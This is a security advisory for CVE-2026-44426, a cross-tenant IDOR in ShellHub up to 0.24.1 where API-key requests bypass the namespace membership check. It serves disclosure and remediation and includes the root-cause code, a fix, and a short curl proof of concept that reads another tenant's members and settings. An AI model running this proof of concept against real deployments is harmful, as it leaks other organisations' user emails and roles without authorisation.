github.com/shellhub-io/shellhub
Affected
- introduced
0, fixed0.24.2(semver)
Fixed versions
0.24.2
Fix
- Fixed version
0.24.2go get github.com/shellhub-io/[email protected]
Advisory
Also known as: CVE-2026-44426, GO-2026-5680
ShellHub has cross-tenant IDOR in GET /api/namespaces/:tenant via API Key bypasses membership check
SummaryGET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.
The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.
Affected versions
ShellHub Community v0.24.1 (validated).
Root causeapi/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:
var uid string
if c.ID() != nil {
uid = c.ID().ID
}
ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
if err != nil || ns == nil {
return c.NoContent(http.StatusNotFound)
}
if uid != "" { // ⚠️ skipped when API Key is used
if _, ok := ns.FindMember(uid); !ok {
return c.NoContent(http.StatusForbidden)
}
}
return c.JSON(http.StatusOK, ns)
AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role,
and X-API-KEY for API Key authentication — never X-ID. So
c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and
the membership check is bypassed.
Proof of concept (validated live against v0.24.1)
# Attacker authenticates in their own namespace and mints an API Key
ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"attacker","password":"..."}' | jq -r .token)
ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
-H "Authorization: Bearer $ATTACKER_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"poc","expires_at":30}' | jq -r .id)
# Baseline: same request with JWT is correctly blocked
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "Authorization: Bearer $ATTACKER_TOKEN"
# Observed: HTTP 403 (correct)
# Exploit: same request with API Key returns full namespace
curl -i http://target/api/namespaces/<victim-tenant-uuid> \
-H "X-API-Key: $ATTACKER_KEY"
# Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
# settings, max_devices, devices_accepted_count, type, created_at}
Impact
Suggested fix
Two layers:
```go
// nsadm.go GetNamespace
if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
return c.NoContent(http.StatusForbidden)
}
```
Medium Basis: The source's own band: MODERATE
0, fixed 0.24.2 (semver)0.24.2
0.24.2go get github.com/shellhub-io/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0